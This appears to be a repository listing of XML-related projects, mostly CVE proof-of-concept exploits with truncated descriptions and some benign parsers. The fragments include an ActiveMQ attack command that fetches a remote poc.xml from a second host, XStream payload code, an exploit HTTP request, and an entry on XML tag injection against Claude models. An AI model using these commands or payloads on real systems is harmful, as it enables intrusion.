Magento-ver.-2.4.6

Exploit Title: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection Date: 2023-11-17 Exploit Author: tmrswrr Vendor Homepage: FireBear Studio Software Link: FireBear Studio Improved Import & Export Version: FireBear Improved Import & Export ver. 3.8.6...

CVE-2022-2414-POC

CVE-2022-2414-POC Access to external entities when parsing XML documents can lead to XML external entity XXE attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests. It does...."potentially" confirmed...

CVE-2020-29134

Totvs Fluig Platform Fluig is the productivity and collaboration platform that integrates with the ERP system, and your company's other systems to revolutionize the way you and your team work. CVE-2020-29134 The TOTVS Fluig platform allows path traversal via parameter encoded in base64. When...

evtx

EVTX Un analizador multiplataforma para el formato Windows XML EventLog Características 🔒 Implementado usando 100% Rust seguro - y funciona en todas las plataformas soportadas por Rust que tengan stdlib. ⚡ Rápido - vea los benchmarks a continuación. ¡Es más rápido que cualquier otra implementació...

CVE-2024-34102

CVE-2024-34102 ★ Thanks to @th3gokul, Sanjaith3hacker, Chocapikk for the original code base. ★ Description CVE-2024-34102 : Adobe Commerce XXE vulnerability description: Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC p. ej. package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + "...

CVE-2025-66034

CVE-2025-66034 — fontTools varLib Arbitrary File Write → RCE PoC exploit for an Arbitrary File Write + XML Injection vulnerability infontTools.varLib Tested on HackTheBox — VarIaType Vulnerability fontTools.varLib processes .designspace XML files to build variable fonts. Two weaknesses combine to...

external_expat_AOSP10_r33_CVE-2022-23852

Expat, Release 2.2.6 This is Expat, a C library for parsing XML, started by James Clark in 1997. Expat is a stream-oriented XML parser. This means that you register handlers with the parser before starting the parse. These handlers are called when the parser discovers the associated structures in...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port of activeMQ. No...

CVE-2020-24148

CVE-2020-24148 Server-side request forgery SSRF in the Import XML and RSS Feeds import-xml-feed plugin 2.0.1 for WordPress via the data parameter in a moovereadxml action. Vulnerable code: /moove-actions.php: ... public function moovereadxml $args = array 'data' = escsql wpunslash $POST'data' ,...

CVE-2020-14883EXP

CVE-2020-14883EXP Used for verifying and exploiting WebLogic 10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0. Do not use for illegal purposes. Enter IP+port to start verification e.g. 127.0.0.1:7001 Supports remote XML command execution Versions other than 10.3.6.0.0 provide two...

x-stream__xstream_CVE-2013-7285_1-4-6

XStream "Java to XML Serialization, and back again" -- Binaries ----------------------------------------------- All binary artifacts are in the 'lib' directory. These include the xstream jars and any other library used at build time, or optional runtime extras. kXML2 is recommend for use as it...

CVE-2021-29447

CVE-2021-29447 PoC This repository contains a Proof of Concept PoC exploit for the CVE-2021-29447 vulnerability, affecting WordPress 5.6 and 5.7 using PHP 8. The exploit demonstrates how an attacker, with the ability to upload files, can exploit an XML parsing vulnerability in the Media Library,...

liblapith

Liblapith - a library for parsing Nessus results files Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Felix Ingram, felix dot ingram at nccgroup dot com http://www.github.com/nccgroup/liblaptith Released under LGPL. See LICENSE for more information Example import...

CVE-2024-34102

Cosmic Sting: CVE-2024-34102 Exploiter Cosmic Sting is a Go-based tool designed to exploit CVE-2024-34102, Remote Code Execution vulnerability. CVE-2024-34102 Detail Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External...

Evtx_Log_Browser

Evtx Log xml Browser Browse through Windows evtx event logs & export to xml Latest version ishere Dependencies: .NET Framework 4.8 Powershell Version: 5.1...

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC Authentication Bypass Exploit 📜 Description CVE-2024-47533 is a critical authentication bypass vulnerability in Cobbler, a Linux installation server that automates network-based OS installs. The flaw is caused by an issue in utils.getsharedsecret which always...

claude-XML-injection

Claude Sonnet 4.6 — Credential Fabrication via XML Tag Injection Reported: June 14, 2026 | Patched: June 20, 2026 | Anthropic Response: None 56 days Researcher: X1NON Affected Model: Claude Sonnet 4.6 and other non-Haiku Claude models Severity: High CVSS 8.7 Status: Patched — No bounty awarded, n...

CVE-2023-24055

Disclaimer This script is for educational and demonstration purposes only. The author does not endorse or condone the use of this script for any criminal or malicious activities and it should only be used where explicitly allowed with proper permission. This script should be used with caution, as...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress for detection POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...